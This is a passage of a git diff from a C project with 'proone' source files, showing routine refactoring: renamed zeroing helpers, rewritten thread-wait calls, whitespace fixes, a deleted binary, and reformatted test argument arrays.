regfree(&re_ns4); + regfree(&re_ns6); + + return 0; +} diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index fcacadb..c42fb6a 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -4,6 +4,7 @@ #include "imap.h" #include "resolv.h" #include "proone_conf/x509.h" +#include "proone_conf/config.h" #include <stdio.h> #include <string.h> diff --git a/src/proone-pack.c b/src/proone-pack.c index 95c8ab8..4f5fbc1 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -61,9 +61,9 @@ int main (const int argc, const char **args) { } // init - memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); - memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); - memzero(&zs, sizeof(z_stream)); + prne_memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); + prne_memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); + prne_memzero(&zs, sizeof(z_stream)); if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) { report_zerror(z_ret, "deflateInit()"); diff --git a/src/proone-resolv b/src/proone-resolv Binary files differdeleted file mode 100755 index 1d7144a..0000000 --- a/src/proone-resolv +++ /dev/null diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 73198fe..490f861 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -165,7 +165,9 @@ static void *stdout_wkr_entry (void *ctx) { bool output = false; while (main_flag || prm_list.size > 0) { - prne_assert(prne_pth_cond_timedwait(&prm_cv, NULL, NULL)); + pth_mutex_acquire(prm_cv.lock, FALSE, NULL); + pth_cond_await(prm_cv.cond, prm_cv.lock, NULL); + pth_mutex_release(prm_cv.lock); cur = prm_list.head; while (cur != NULL) { @@ -279,7 +281,7 @@ int main (void) { main_flag = false; close(STDIN_FILENO); - prne_pth_cv_notify(&prm_cv); + prne_pth_cv_notify(prm_cv.lock, prm_cv.cond, true); for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { prne_fin_worker(wkr_arr + i); } diff --git a/src/proone-stress.c b/src/proone-stress.c index f9fffe0..1b52793 100644 --- a/src/proone-stress.c +++ b/src/proone-stress.c @@ -37,7 +37,7 @@ typedef struct { typedef struct { mbedtls_entropy_context ent; - mbedtls_ctr_drbg_context ctx; + mbedtls_ctr_drbg_context ctx; } priv_ctx_t; shared_t *shared = NULL; @@ -70,7 +70,7 @@ int main (const int argc, const char **args) { size_t shm_size; uint8_t *shm_ptr = MAP_FAILED; bool is_parent = true; - + parent = getpid(); { @@ -90,7 +90,7 @@ int main (const int argc, const char **args) { assert(pagesize % sizeof(unsigned long) == 0); } - + if (argc < 2) { fprintf(stderr, "Usage: %s <nproc> [page num range]\n" @@ -137,7 +137,7 @@ DROP: shm_ptr = mmap(NULL, shm_size, PROT_READ | PROT_WRITE, MAP_SHARED, zfd, 0); END_ON_ERR(shm_ptr, MAP_FAILED, "mmap()", false); close(zfd); - zfd = -1; + zfd = -1; // prep shared shared = (shared_t*)shm_ptr; @@ -157,7 +157,7 @@ DROP: else if (f_ret == 0) { struct sigaction sa; - memzero(&sa, sizeof(struct sigaction)); + prne_memzero(&sa, sizeof(struct sigaction)); sa.sa_handler = child_signal_handler; sigaction(SIGINT, &sa, NULL); @@ -174,7 +174,7 @@ DROP: { struct sigaction sa; - memzero(&sa, sizeof(struct sigaction)); + prne_memzero(&sa, sizeof(struct sigaction)); sa.sa_handler = handle_signal; sigaction(SIGINT, &sa, NULL); @@ -185,7 +185,7 @@ DROP: clock_gettime(CLOCK_MONOTONIC, &last_report); - + while (shared->good) { pause(); } @@ -226,7 +226,7 @@ static void handle_signal (const int sn) { sendall(SIGTERM); } sigaction(SIGINT, NULL, NULL); - sigaction(SIGTERM, NULL, NULL); + sigaction(SIGTERM, NULL, NULL); break; case SIGCHLD: if (shared->good) { @@ -310,7 +310,7 @@ static void child_main (shared_ctx_t *ctx) { prne_mbedtls_entropy_init(&priv_ctx.ent); mbedtls_ctr_drbg_init(&priv_ctx.ctx); assert(mbedtls_ctr_drbg_seed(&priv_ctx.ctx, mbedtls_entropy_func, &priv_ctx.ent, NULL, 0) == 0); - + while (shared->good) { do_cycle(&priv_ctx, ctx); ctx->nb_cycles += 1; diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index a718d9b..d1fe2fb 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -20,7 +20,7 @@ int main (void) { for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { assert(i == prne_arch_fstr(prne_arch_tostr(i))); } - + test_ser(); return 0; @@ -50,32 +50,32 @@ static void test_ser (void) { NULL }; static char *long_args[] = { - "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL }; static char *too_long_args[] = { - "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL }; static char *long_mem_args[] = { - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", - "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 